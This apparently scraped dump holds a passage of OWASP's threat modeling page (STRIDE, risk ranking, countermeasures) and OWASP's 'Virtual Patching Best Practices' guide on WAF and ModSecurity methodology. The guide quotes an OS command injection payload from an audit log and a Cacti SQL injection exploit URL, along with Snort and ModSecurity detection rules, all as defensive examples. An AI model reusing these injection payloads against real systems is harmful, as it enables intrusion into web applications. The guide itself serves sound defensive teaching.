used to represent locations where data is stored. Data stores do not modify the data, they only store data. |\n| | Data Flow | The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. |\n| | Privilege Boundary | The privilege boundary (or trust boundary) shape is used to represent the change of trust levels as the data flows through the application. Boundaries show any location where the level of trust changes. |\n\n### Example Diagrams\n\n*Figure 1: Data Flow Diagram for the College Library Website.*\n\n*Figure 2: User Login Data Flow Diagram for the College Library Website.*\n\n## Determine Threats (Sample)\n\n### STRIDE\n\nA threat mnemonic such as [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) is useful in the identification of threats by prompting us to think about attacker steps such as:\n\n- **S** poofing\n- **T** ampering\n- **R** epudiation\n- **I** nformation Disclosure\n- **D** enial of Service\n- **E** levation of Privilege\n\nA list of generic threats using [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) is provided in the following table along with their security controls:\n\n## STRIDE Threat List\n\n| Type | Description | Security Control |\n| --- | --- | --- |\n| Spoofing | Threat action aimed at accessing and use of another user’s credentials, such as username and password. | Authentication |\n| Tampering | Threat action intending to maliciously change or modify persistent data, such as records in a database, and the alteration of data in transit between two computers over an open network, such as the Internet. | Integrity |\n| Repudiation | Threat action aimed at performing prohibited operations in a system that lacks the ability to trace the operations. | Non-Repudiation |\n| Information disclosure | Threat action intending to read a file that one was not granted access to, or to read data in transit. | Confidentiality |\n| Denial of service | Threat action attempting to deny access to valid users, such as by making a web server temporarily unavailable or unusable. | Availability |\n| Elevation of privilege | Threat action intending to gain privileged access to resources in order to gain unauthorized access to information or to compromise a system. | Authorization |\n\nThreat lists based on the [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) model are useful in the identification of threats with regards to the attacker goals. For example, if the threat scenario is attacking the login, would the attacker brute force the password to break the authentication? If the threat scenario is to try to elevate privileges to gain another user’s privileges, would the attacker try to perform [forced browsing](https://owasp.org/www-community/attacks/Forced_browsing)?\n\n### Threat Analysis\n\nIt is frequently claimed that “a prerequisite in the analysis of threats is the understanding of the generic definition of risk.” But this is not the case. You can analyze what can go wrong without being able to measure or quantify it.\n\nThreat analysis is the identification of threats to the application, and involves the analysis of each aspect of the application’s functionality, architecture, and design. It is important to identify and classify potential weaknesses that could lead to an exploit.\n\nFrom the defensive perspective, the identification of threats driven by security control categorization allows a threat analyst to focus on specific vulnerabilities. Typically, the process of threat identification involves going through iterative cycles where initially all the possible threats in the threat list that apply to each component are evaluated.\n\nAt the next iteration, threats are further analyzed by exploring the attack paths, the root causes for the threat to be exploited (e.g. vulnerabilities, depicted as orange blocks below), and the necessary mitigation controls (e.g. countermeasures, depicted as green blocks below). A threat tree as shown below is useful to perform such threat analysis.\n\n*Figure 3: Threat Tree Diagram.*\n\nOnce common threats, vulnerabilities, and attacks are assessed, a more focused threat analysis should take into consideration use and abuse cases. By thoroughly analyzing the use scenarios, weaknesses can be identified that could lead to the realization of a threat. Abuse cases should also be identified. These abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists.\n\nA use and abuse case graph for authentication is shown below:\n\n*Figure 4: Use and Misuse Cases*\n\nThe outcome of threat analysis is a determination of the types of threats posed to each component of the decomposed system. This can be documented using a threat categorization such as [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) or [ASF](https://pathlock.com/learn/what-are-application-security-frameworks/), the use of threat trees to determine how the threat can be exposed by a vulnerability, and use and misuse cases to further validate the lack of any countermeasures for mitigation.\n\n### Ranking of Threats\n\nThreats can be ranked from the perspective of risk factors. By determining the risk factor posed by the various identified threats, it is possible to create a prioritized list of threats to support a risk mitigation strategy, such as prioritizing the threats to be mitigated first. Different risk factors can be used to rank threats as High, Medium, or Low risk. In general, threat risk models use different factors to model risks such as those shown below:\n\n*Figure 5: Ranking Risk Factors.*\n\n### Qualitative Risk Model\n\nThe following is a set of considerations for determining ease of exploitation:\n\n1. Can an attacker exploit this remotely?\n2. Does the attacker need to be authenticated?\n3. Can the exploit be automated?\n\nThe impact mainly depends on the damage potential and its extent, such as the number of components that may be affected by a threat.\n\nQuestions to help determine the damage potential are:\n\n1. Can an attacker completely take over and manipulate the system?\n2. Can an attacker gain administration access to the system?\n3. Can an attacker crash the system?\n4. Can the attacker obtain access to sensitive information such as secrets or PII?\n\nQuestions to help determine the number of components that are affected by a threat:\n\n1. How many connected data sources and systems can be impacted?\n2. How many layers into infrastructure components can the threat agent traverse?\n\nThese examples help in the calculation of the overall risk values by assigning qualitative values such as High, Medium and Low to the likelihood and impact factors. In this case, using qualitative values, rather than numeric ones like in the case of the [DREAD](https://en.wikipedia.org/wiki/DREAD_(risk_assessment_model)) model, help avoid the ranking becoming overly subjective.\n\n## Determine Countermeasures and Mitigation\n\nThe purpose of countermeasure identification is to determine if there is some kind of protective measure (e.g. security control, policies) that can prevent a threat from being realized. Vulnerabilities are then those threats that have no countermeasures. When threats have been categorized either with [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) or [ASF](https://pathlock.com/learn/what-are-application-security-frameworks/), it is possible to find appropriate countermeasures within the given category.\n\nProvided below is a brief and limited checklist which is by no means an exhaustive list for identifying countermeasures for specific threats.\n\n### STRIDE Threat & Mitigation Techniques\n\n| Threat Type | Mitigation Techniques |\n| --- | --- |\n| Spoofing Identity | 1. Appropriate authentication \n2. Protect secret data \n3. Don’t store secrets |\n| Tampering with data | 1. Appropriate authorization \n2. Hashes \n3. MACs \n4. Digital signatures \n5. Tamper resistant protocols |\n| Repudiation | 1. Digital signatures \n2. Timestamps \n3. Audit trails |\n| Information Disclosure | 1. Authorization \n2. Privacy-enhanced protocols \n3. Encryption \n4. Protect secrets \n5. Don’t store secrets |\n| Denial of Service | 1. Appropriate authentication \n2. Appropriate authorization \n3. Filtering \n4. Throttling \n5. Quality of service |\n| Elevation of privilege | 1. Run with least privilege |\n\nOnce threats and corresponding countermeasures are identified, it is possible to derive a threat profile with the following criteria:\n\n1. **Non mitigated threats:** Threats which have no countermeasures and represent vulnerabilities that can be fully exploited and cause an impact.\n2. **Partially mitigated threats:** Threats partially mitigated by one or more countermeasures and can only partially be exploited to cause a limited impact.\n3. **Fully mitigated threats:** These threats have appropriate countermeasures in place and do not expose vulnerabilities.\n\n## Complementing Code Review\n\nThreat modeling is not an approach to reviewing code, but it does complement the security code review process. The inclusion of threat modeling early on in the Software Development Life Cycle ([SDLC](https://en.wikipedia.org/wiki/Systems_development_life_cycle)) can help to ensure that applications are being developed with appropriate security threat mitigations from the very beginning. This, combined with the documentation produced as part of the threat modeling process, can give code reviewers a greater understanding of the system. This allows the reviewer to see where the entry points to the application are and the associated threats with each entry point.\n\nWhen source code analysis is performed outside the [SDLC](https://en.wikipedia.org/wiki/Systems_development_life_cycle), such as on existing applications, threat modeling helps to clarify the complexity of source code analysis. It promotes a depth-first approach instead of a breadth-first approach. In other words, instead of reviewing all source code with equal focus, you can prioritize the security code review of components where the threat modelling indicates higher-risk threats.\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 29950, "slov": 4472, "odkazu": 53, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:35", "sha256": "363ea108690eb8b5c3f380bf7ee9d6e7f86fe5c856de973e3b2d82984826f8ae", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Systems_development_life_cycle", "https://en.wikipedia.org/wiki/Data-flow_diagram", "https://en.wikipedia.org/wiki/STRIDE_(security)", "https://pathlock.com/learn/what-are-application-security-frameworks/", "https://en.wikipedia.org/wiki/DREAD_(risk_assessment_model)", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Virtual_Patching_Best_Practices", "titulek": "Virtual Patching Best Practices | OWASP Foundation", "h1": "Virtual Patching Best Practices", "popis": "Virtual Patching Best Practices on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Virtual_Patching_Best_Practices", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Virtual Patching Best Practices on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Virtual Patching Best Practices | OWASP Foundation", "og:url": "https://community.owasp.org/Virtual_Patching_Best_Practices", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Virtual Patching Best Practices"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 1, "text": "What is a Virtual Patch?"}, {"uroven": 2, "text": "Definition"}, {"uroven": 1, "text": "Value of Virtual Patching"}, {"uroven": 1, "text": "Why Not Just Fix the Code?"}, {"uroven": 2, "text": "Patch Availability"}, {"uroven": 2, "text": "Installation Time"}, {"uroven": 2, "text": "Fixing Custom Code May Be Cost Prohibitive"}, {"uroven": 2, "text": "Legacy Code"}, {"uroven": 2, "text": "Outsourced Code"}, {"uroven": 1, "text": "Virtual Patching Tools"}, {"uroven": 2, "text": "Robust HTTP and HTML Parsing"}, {"uroven": 2, "text": "Protocol Analysis"}, {"uroven": 2, "text": "Anti-Evasion Capabilities"}, {"uroven": 2, "text": "Rules instead of Signatures"}, {"uroven": 1, "text": "A Virtual Patching Methodology"}, {"uroven": 2, "text": "Preparation Phase"}, {"uroven": 2, "text": "Identification Phase"}, {"uroven": 2, "text": "Analysis Phase"}, {"uroven": 2, "text": "Virtual Patch Creation Phase"}, {"uroven": 2, "text": "Implementation/Testing Phase"}, {"uroven": 2, "text": "Recovery/Follow-Up Phase"}, {"uroven": 3, "text": "Authors"}, {"uroven": 2, "text": "References"}], "markdown": "# Virtual Patching Best Practices\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n# Introduction\n\nThis paper presents a virtual patching framework that organizations can\nfollow to maximize the timely implementation of virtual patches. It also\ndemonstrates, as an example, how a web application firewall,\n([WAF](WAF)) such as ModSecurity, can be used to remediate a\nsampling of vulnerabilities in the OWASP WebGoat application. This\ndocument was initially developed as a collaborative outcome from the\nOWASP Global [Summit 2011](Summit_2011).\n\n# What is a Virtual Patch?\n\nThe term virtual patching was originally coined by Intrusion Prevention\nSystem (IPS) vendors a number of years ago. It is not a web application\nspecific term, and may be applied to other protocols however currently\nit is more generally used as a term for Web Application Firewalls (WAF).\nIt has been known by many different names including both *External\nPatching* and *Just-in-time Patching*. Whatever term you choose to use\nis irrelevant. What is important is that you understand exactly what a\nvirtual patch is.\n\n## Definition\n\n***A security policy enforcement layer which prevents the exploitation\nof a known vulnerability.***\n\nThe virtual patch works since the security enforcement layer analyzes\ntransactions and intercepts attacks in transit, so malicious traffic\nnever reaches the web application. The resulting impact of virtual patch\nis that, while the actual source code of the application itself has not\nbeen modified, the exploitation attempt does not succeed.\n\n# Value of Virtual Patching\n\nWhen you consider the numerous situations when organizations can’t\nsimply immediately edit the source code, the value of virtual patching\nbecomes apparent. From an organizations perspective, the benefits are:\n\n- It is a scalable solution as it is implemented in few locations vs.\ninstalling patches on all hosts.\n- It reduces risk until a vendor-supplied patch is released or while a\npatch is being tested and applied.\n- There is less likelihood of introducing conflicts as libraries and\nsupport code files are not changed.\n- It provides protection for mission-critical systems that may not be\ntaken offline.\n- It reduces or eliminates time and money spent performing emergency\npatching.\n- It allows organizations to maintain normal patching cycles.\n\nFrom a web application security consultant’s perspective, virtual\npatching opens up another avenue for providing services to your clients.\nTraditionally, if source code could not be updated for any of the\nreasons previously specified, there wasn’t much else a consultant could\ndo to help. Now, a consultant can offer to create virtual patches to\nexternally address the issues outside of the application code.\n\n# Why Not Just Fix the Code?\n\nFrom a purely technical perspective, the number one remediation strategy\nwould be for an organization to correct the identified vulnerability\nwithin the source code of the web application. This concept is\nuniversally agreed upon by both web application security experts and\nsystem owners. Unfortunately, in real world business situations, there\narise many scenarios where updating the source code of a web application\nis not easy. Common roadblocks to source code fixes include:\n\n## Patch Availability\n\nIf a vulnerability is identified within a commercial application, the\ncustomer most likely will not be able to modify the source code\nthemselves. In this situation, the customer is held at the mercy of the\nVendor as they have to wait for an official patch to be released.\nVendors usually have extremely rigid patch release dates, which mean\nthat an officially supported patch may not be available for an extended\nperiod of time.\n\n## Installation Time\n\nEven in situations where an official patch is available, or a source\ncode fix could be applied to a custom coded application, the normal\npatching processes of most organizations is time consuming. This is\nusually due to the extensive regression testing required after code\nchanges. It is not uncommon for these testing gates to be measured in\nmonths. For example, the Symantec Internet Threat Report [1] stated\nthat the average time it took for organizations to patch their systems\nwas 55 days, while the Whitehat Security Web Security Statistics Report\n[2] documented that their customers time-to-fix average was 138 days\nto remediate SQL Injection vulnerabilities found in their web\napplications. Now contrast this patching data with the fact that\nSymantec also reported that it only took an average of 6 days for\nexploit code to be released to the public and it becomes clear that\ntraditional source code patching processes are not adequate.\n\n## Fixing Custom Code May Be Cost Prohibitive\n\nWeb assessments that include source code reviews, vulnerability scanning\nand penetration tests will most assuredly identify vulnerabilities in\nyour web application. Identification of the vulnerability is only the\nfirst half of the battle with the second half being the remediation\nactions. What many organizations are finding out is that the cost\nassociated with the identification of the vulnerabilities often pales in\ncomparison to that of actually fixing the issues. This is especially\ntrue when vulnerabilities are not found early in the design or testing\nphases but rather after an application is already in production. In\nthese situations, it is usually deemed that it is just too expensive to\nrecode the application.\n\n## Legacy Code\n\nAn organization may be using a commercial application and the vendor has\ngone out of business, or they are using a version that is no longer\nsupported by the vendor. In these situations, legacy application code\ncan’t be patched. An additional situation is when an organization is\nforced into using outdated vendor code due to in-house custom coded\nfunctionality being added on top of the original vendor code. This\nfunctionality is tied to a mission critical business application and\nprior upgrade attempts broke functionality.\n\n## Outsourced Code\n\nAs more and more businesses opt to outsource their application\ndevelopment, they are finding that executing vulnerability fixes would\nrequire an entirely new project. Many organizations are facing the harsh\nreality that poor contractual language oftentimes does on cover “secure\ncoding” issues but only functional defects.\n\n# Virtual Patching Tools\n\nThere are a number of different tools that may be used for virtual\npatching efforts.\n\n- Intermediary device such as a WAF or IPS\n- Web server plugin such as ModSecurity\n- Application layer filter such as ESAPI WAF\n\n## Robust HTTP and HTML Parsing\n\nThe tool must use an HTTP and HTML parser to analyze the input stream.\nThe parser must be able to understand specific protocol features\nincluding content encoding such as chunked encoding or\nmultipart/form-data encoding, request and response compression and even\nXML payload.\n\nIn addition the parser must be flexible as the environment protected as\nmany headers and protocol elements are not used according to RFC\nrequirements. For example, while the RFC requires a single space between\nthe method and the URI in the HTTP request line, Apache allows any\nsequence of whitespace between them. Another example is PHP unique use\nof parameters: in PHP leading and trailing spaces are removed from\nparameter names. In a proxy deployment a stricter parsing may be\nacceptable, however the tool has to be at least as flexible as the web\nserver in order to prevent evasion. IDS/IPS systems that fail to do so\ncan be easily evaded by attackers.\n\n## Protocol Analysis\n\nBased on the parsed info, the tool must break up the HTTP stream into\nlogical entities that can be inspected, such as headers, parameters and\nuploaded files. Each element is inspected separately not just for its\ncontent, but also for its length and count. In addition the tool must\ncorrectly divide the network stream when keep-alive HTTP connections are\nused to unique request and replies, and correctly match requests and\nreplies.\n\n## Anti-Evasion Capabilities\n\nModern protocols such as HTTP and HTML allow the same information to be\npresented in multiple ways. As a result signature based detection of\nattacks must inspect the attack vector in any form it may be in.\nAttackers evade detection systems by using a less common presentation of\nthe attack vector. Some common evasion techniques include using\ndifferent character encodings for the attack vector or using none\ncanonized path names. In order to prevent evasion the tool must\ntransform the request to a normalized form before inspection.\n\nThe tools should be able to selectively employ normalization functions\nfor different input fields for each inspection performed. For example,\nthe tools should be able to normalize an HTML form field that accepts\npath names as input.\n\n## Rules instead of Signatures\n\nVirtual patches must implement complex logic, as it cannot rely solely\non signatures and requires a more robust rules language to define the\ntests. For example, the following features exist in the ModSecurity\nrules language: • Operators and logical expressions – can check an input\nfield for attributed other than its content, such as its size or\ncharacter distribution. Additionally ModSecurity can combine such atoms\nto create more complex conditions using logical operators. For example,\nit may inspect if a field length is too long only for a specific value\nof another field, or alternatively check if two different fields are\nempty. • Selectable anti-evasion transformation functions – as discussed\nabove, each rule can employ specific transformation function. •\nVariables, sessions & state management – since the protocols inspected\nkeep state, the rules language needs to include variables. Such\nvariables can persist for a single transaction, for the life of a\nsession, or globally. Using such variables enables ModSecurity to\naggregate information and therefore detect an attack based on multiple\nindications during the life span of a transaction or a session. Attacks\nthat require such mechanisms to detect are brute force attacks,\napplication layer denial of service attacks and business logic flaws. •\nControl structures – the ModSecurity rules language includes control\nstructures such as conditional execution. Such structures enable\nModSecurity to perform different rules based on transaction content. For\nexample, if the transaction payload is XML, an entirely different set of\nrules may be used.\n\n# A Virtual Patching Methodology\n\nVirtual Patching, like most other security processes, is not something\nthat should be approached haphazardly. Instead, a consistent, repeatable\nprocess should be followed that will provide the best chances of\nsuccess. The following virtual patching workflow mimics the industry\naccepted practice for conducting IT Incident Response and consists of\nthe following phases: Preparation, Identification, Analysis, Virtual\nPatch Creation, Implementation/Testing, and Recovery/Follow T Up.\n\n## Preparation Phase\n\nThe importance of properly utilizing the preparation phase with regards\nto virtual patching cannot be overstated. The idea is that you need to\ndo a number of things to setup the virtual patching processes and\nframework prior to actually having to deal with an identified\nvulnerability, or worse yet, react to a live web application intrusion.\nThe point is that during a live compromise is not the ideal time to be\nproposing installation of a web application firewall and the concept of\na virtual patch. Tension is high during real incidents and time is of\nthe essence, so lay the foundation of virtual patching when the waters\nare calm and get everything in place and ready to go when an incident\ndoes occur. Here are a few critical items that should be addressed\nduring the preparation phase: • Ensure that you are signed up for on all\nvendor alert mail-lists for commercial software that you are using. This\nwill ensure that you will be notified in the event that the vendor\nreleases vulnerability information and patching data. • Virtual Patching\nPre-Authorization – Virtual Patches need to be implemented quickly so\nthe normal governance processes and authorizations steps for standard\nsoftware patches need to be expedited. Since virtual patches are not\nactually modifying source code, they do not require the same amount of\nregression testing as normal software patches. I have found that\ncategorizing virtual patches in the same group as Anti-Virus updates or\nNetwork IDS signatures helps to speed up the authorization process and\nminimize extended testing phases. • Deploy ModSecurity In Advance - As\ntime is critical during incident response, it would be a poor time to\nhave to get approvals to install new software. You can install\nModSecurity in embedded mode on your Apache servers, or an Apache\nreverse proxy server. The advantage with this deployment is that you can\ncreate fixes for non-Apache back-end servers. Even if you do not use\nModSecurity under normal circumstances, it is best to have it “on deck”\nready to be enabled if need be. • Increase Audit Logged – The standard\nCommon Log Format (CLF) utilized by most web servers does not provide\nadequate data for conducting proper incident response. Consider the\nfollowing Apache access_log entry:\n\n80.87.72.6 - - [22/Apr/2007:18:55:53 –0400] \\ “POST /xmlrpc.php\nHTTP/1.1” 200 293\n\nWe see that this request uses a POST Request Method. This means that\ncritical data such as the Request Body (where the client is passing\nparameter data) is not logged. Without the full request payloads, it is\nnext to impossible to accurately confirm either an attack attempt or a\nsuccessful compromise. Fortunately, ModSecurity has a robust audit\nlogging engine that is able to capture the entire request and response\npayloads. The following audit log entry is for the same xmlrpc.php\nrequest we showed from the Apache access_log file.\n\n--ddb9bf17-A– [22/Apr/2007:18:55:53 –0400] dGgsYX8AAAEAABJkpY8AAACG\n80.87.72.6 41376 192.168.1.133 80 –ddb9bf17-B– POST /xmlrpc.php\nHTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host:\nwww.example.com User-Agent: libwww-perl/5.805 Content-Length: 201\n–ddb9bf17-C–\n\n\n\ntest.method',''));echo'_begin_';echo\n\\`id;ls/;w\\`;echo\n'_end_';exit;/\\*\n\nAs you can see, now that we can see the request body contents, we are\nable to identify that the client is attempting to exploit the php\napplication and is attempting to execute OS command injection.\n\n## Identification Phase\n\nThe Identification Phase occurs when an organization becomes aware of a\nvulnerability within their web application. There are generally two\ndifferent methods of identifying vulnerabilities: Proactive and\nReactive. Proactive Identification This occurs when an organization\ntakes it upon themselves to assess their web security posture and\nconducts the following tasks: • Vulnerability assessment (internal or\nexternal) and penetration tests • Source code reviews These tasks are\nextremely important for custom coded web applications as there would be\nexternal entity that has the same application code. Reactive\nIdentification There are three main reactive methods for identifying\nvulnerabilities: • Vendor contact (e.g. pre-warning) - Occurs when a\nvendor discloses a vulnerability for commercial web application software\nthat you are using. • Public disclosure - Public vulnerability\ndisclosure for commercial/open source web application software that you\nare using. The threat level for public disclosure is increased as more\npeople know about the vulnerability. • Security incident – This is the\nmost urgent situation as the attack is active. In these situations,\nremediation must be immediate. Normal network security response measures\ninclude blocking the source IP of the attack at a firewall or edge\nsecurity device. This technique does not work as well for web\napplication attacks as you may prevent legitimate users from accessing\nthe application. A virtual patch is more flexible as it is not\nnecessarily where an attacker is coming from but what they are sending.\n\n## Analysis Phase\n\nThere are a number of tasks that must be completed during the analysis\nphase. What is the name of the vulnerability? This means that you need\nto have the proper CVE name/number identified by the vulnerability\nannouncement, vulnerability scan, etc… What is the impact of the\nproblem? It is always important to understand the level of criticality\ninvolved with a web vulnerability. Information leakages may not be\ntreated in the same manner as an SQL Injection issue. What versions of\nsoftware are affected? You need to identify what versions of software\nare listed so that you can determine if the version(s) you have\ninstalled are affected. What configuration is required to trigger the\nproblem or how to tell if you are affected by the problem? Some\nvulnerabilities may only manifest themselves under certain configuration\nsettings. Is proof of concept exploit code available? Many vulnerability\nannouncements have accompanying exploit code that shows how to\ndemonstrate the vulnerability. If this data is available, make sure to\ndownload it for analysis. This will be useful later on when both\ndeveloping and testing the virtual patch. Is there a work around\navailable without patching or upgrading? This is where virtual patching\nactually comes into play. It is a temporary work-around that will buy\norganizations time while they implement actual source code fixes. Is\nthere a patch available? Unfortunately, vulnerabilities are often\nannounced without an accompanying patch. This leaves organizations\nexposed and is why virtual patching has become an invaluable tool. If\nthere is a patch available, then you initiate the proper patch\nmanagement processes and simultaneously create a virtual patch.\n\n## Virtual Patch Creation Phase\n\nThe process of creating an accurate virtual patch is bound by two main\ntenants:\n\n1. No false positives. Do not ever block legitimate traffic under any\ncircumstances. This is always the top priority. 2. No false negatives.\nDo not miss attacks, even when the attacker intentionally tries to evade\ndetection. This is a high priority.[4]\n\nThe virtual patch creator must keep these priorities, and their relative\nordering, in mind at all times. A key distinction between virtual patch\nconstruction philosophies (log-only mode vs. a blocking mode) lies in\nthe relative ranking of these two goals. The art of creating blocking\nvirtual patches is generalizing the detection logic as much as possible\nto rigorously meet rule #2, without ever violating rule #1. Deriving a\nZero False Negative Virtual Patch When performing technical\nvulnerability research, the virtual patch writer must first search for\nall of the necessary conditions for an attack to succeed. The researcher\nstarts by obtaining technical data that triggers the vulnerability\nremotely (perhaps from proof of concept exploit code). The writer then\nvaries or fuzzes all the “interesting-looking” parts of the attack.\nChanges are made one at a time, in steps, keeping careful notes.\n(Strings, length values, character encoding, white space… the list goes\non. All are good things to vary.) If the attack succeeds even when a\nparticular variable is set to a random value, that variable is not\nimportant for the virtual patch criteria. Eventually the researcher can\nidentify the complete set of variables that are important to the\nattack’s success, and arrive at a set of criteria that must be\ncollectively satisfied for any attack to succeed. If there are multiple\ndistinct attack vectors, the researcher must perform this analysis on\neach one separately.\n\nGiven a set of criteria that must be satisfied for an attack to succeed,\nit is possible to describe virtual patching logic that has zero false\nnegatives. That is, an attack simply cannot succeed unless the\nassociated web application attack traffic has exactly the\ncharacteristics that the virtual patch is looking for. Deriving a Zero\nFalse Positive Virtual Patch Given a zero false negative virtual patch\nas previously described, the writer must also evaluate the accuracy of\npatch in terms of false positives. At this stage, the writer attempts to\nidentify at least one characteristic that would never occur in normal\nweb traffic. If a characteristic exists that is both anomalous compared\nto normal traffic and critical to the attack’s success, then the zero\nfalse negative virtual patch is also a zero false positive signature.\nNegative Security Virtual Patches A negative security model (or misuse\nbased detection) is based on a set of rules that detect specific known\nattacks rather than allow only valid traffic. It is important to note\nthat the differentiation between negative and positive security models\nis subjective and reflects how tight the security envelope around the\napplication is. A good example would be limiting the characters allowed\nin an input field. Since the character set is a closed set, providing an\nallow list of permitted characters is actually similar to providing a\ndeny list of forbidden characters including the characters\ncomplementing the 1st group. Positive Security Virtual Patches Positive\nsecurity model is a comprehensive security mechanism that provides an\nindependent input validation envelope to an application. The model\nspecifies the characteristics of valid input (character set, length,\netc…) and denies anything that does not conform. By defining rules for\nevery parameter in every page in the application the application is\nprotected by an additional security envelop independent from its code.\nWhich Method is Better for Virtual Patching – Positive or Negative\nSecurity? A virtual patch may employ either a negative or positive\nsecurity model. Which one you decide to use depends on the situation and\na few different considerations. For example, negative security rules can\nusually be implemented more quickly, however the possible evasions are\nmore likely.\n\nPositive security rules, only the other hand, provides better protection\nhowever it is often a manual process and thus is not scalable and\ndifficult to maintain for large/dynamic sites. While manual positive\nsecurity rules for an entire site may not be feasible, a positive\nsecurity model can be selectively employed when a vulnerability alert\nidentifies a specific location with a problem. Beware of\nExploit-Specific Virtual Patches You want to resist the urge to take the\neasy road and quickly create an exploit-specific rule. While it may\nprovide some immediate protection, its long term value is significantly\ndecreased. A case study of this concept in the IDS world is “bleeding\nedge” snort signature for Bugtraq vulnerability #21799. This\nvulnerability in the Cacti open source graphing software was picked\nquite at random. The exploit references on Bugtraq vulnerabilities\narchive is:\n\n/cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,127.0.0\n.1,null,1,null,null,161,500, proc,null,1,300,0, ls -la >\n./rra/suntzu.log,null,null/**/FROM/**/host/*+11111\n\nAnd the Snort signature is:\n\nalert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (\nmsg:”BLEEDING-EDGE WEB Cacti cmd.php Remote Arbitrary SQL Command\nExecution Attempt”; flow:to_server,established; uricontent:”/cmd.php?”;\nnocase; uricontent:”UNION”; nocase; uricontent:”SELECT”; nocase;\nreference:cve,CVE-2006-6799; reference:bugtraq,21799; classtype:\nweb-application-attack; sid:2003334; rev:1; )\n\nWhile snort has some anti-evasion techniques such as case insensitivity\nand URI decoding, this signature still falls short of detecting an\nexploit of the vulnerability. It is gears only towards detecting the\nspecific attack vector shown above. Any other exploit such as blind SQL\ninjection would not be detected. It also searches for the keywords only\nin the request line, while many development environments would allow for\nparameters to be provided both in the POST and GET payload.\n\nAdditionally this signature is prone to false positives as both select\nand union are common English words and since the signature do not\nrequire any word delimiters the signature will also be satisfied by the\nwords “Selection” and “Reunion”. In many cases such a signature has to\nbe turned off.\n\nFor examples of poorly written ModSecurity rules, let’s look at the\nfollowing GotRoot rule:\n\nSecDefaultAction “log,deny,phase:2,status:500,t:urlDecodeUni, \n\nt:htmlEntityDecode,t:lowercase”\n\n1. WEB-CGI csSearch.cgi arbitrary command execution attempt\n\nSecRule REQUEST_URI “/csSearch\\.cgi\\?” chain SecRule REQUEST_URI\n“\\`”\n\nIn the first line, the SecDefaultAction is specifying the use of the\n“t:lowercase” transformation function. This is often used to normalize\ninput data for anti-evasion. When this is used, care should be taken to\nspecify only lowercase letters in the operator payload section. In this\nrule example, however, the rule writer mistakenly used mixed-case and\nthus this rule would not trigger (false negative).\n\n## Implementation/Testing Phase\n\nIn order to accurately test out the newly created virtual patches, it\nmay be necessary to use an application other than a web browser. Some\nuseful tools are: • Command line web clients such as Curl and Wget. •\nLocal Proxy Servers such as WebScarab\n(https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) and\nBurp Proxy (http://www.portswigger.net/suite/). • ModSecurity\nAuditViewer (http://www.jwall.org/web/audit/viewer.jsp) – which allows\nyou to load a ModSecurity audit log file, manipulate it and then\nre-inject the data back into any web server. These tools will allow you\nto manipulate the request data in any way desired. ModSecurity’s Debug\nLog File In order to verify exactly how your new rule is working, you\nshould review the ModSecurity SecDebugLog file data. The Debug log\nprovides extensive details on the rule processing order and in many\ncases is the only true way to verify that the rule is working exactly as\nyou expected. You will most likely need to increase the SecDebugLogLevel\ndirective setting to get enough detail to validate the patch processing.\nYou can selectively increase the logging based on source IP address so\nthat you don’t impact performance on the entire web server. Below is an\nexcerpt of the debug log data during rule processing (some data deleted\nfor readibility):\n\nRecipe: Invoking rule 82211d8. Executing operator !rx with param\n“^(POST)$” against REQUEST_METHOD. Target value: POST Operator\ncompleted in 17 usec. Rule returned 0. No match, not chained -> mode\nNEXT_RULE. Recipe: Invoking rule 82214b0. Rule returned 0. No match,\nnot chained -> mode NEXT_RULE. Recipe: Invoking rule 82360d0.\nExecuting operator !rx with param “^(\\w{0,32})$” against\nARGS:username. Target value:\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\nOperator completed in 13 usec. Rule returned 1. Match, intercepted ->\nreturning. Access denied with code 501 (phase 2). Match of “rx\n^(\\w{0,32})$” against “ARGS:username” required. [id “1”] [msg\n“Postparameter username failed validity check. Value domain:\nUsername.”] [severity “ERROR”]\n\n## Recovery/Follow-Up Phase\n\nAlthough you may need to expedite the implementation of virtual patches,\nyou should still track them in your normal Patch Management processes.\nThis means that you should create proper change request tickets, etc… so\nthat their existence and functionality is documented.\n\nYou should also have periodic re-assessments to verify if/when you can\nremove previous virtual patches if the web application code has been\nupdated with the real source code fix. I have found that many people opt\nto keep virtual patches in place due to better identification/logging\nvs. application or db capabilities.\n\n### Authors\n\n- Ryan Barnett with collaboration from OWASP Global Summit Attendees: [Summit 2011 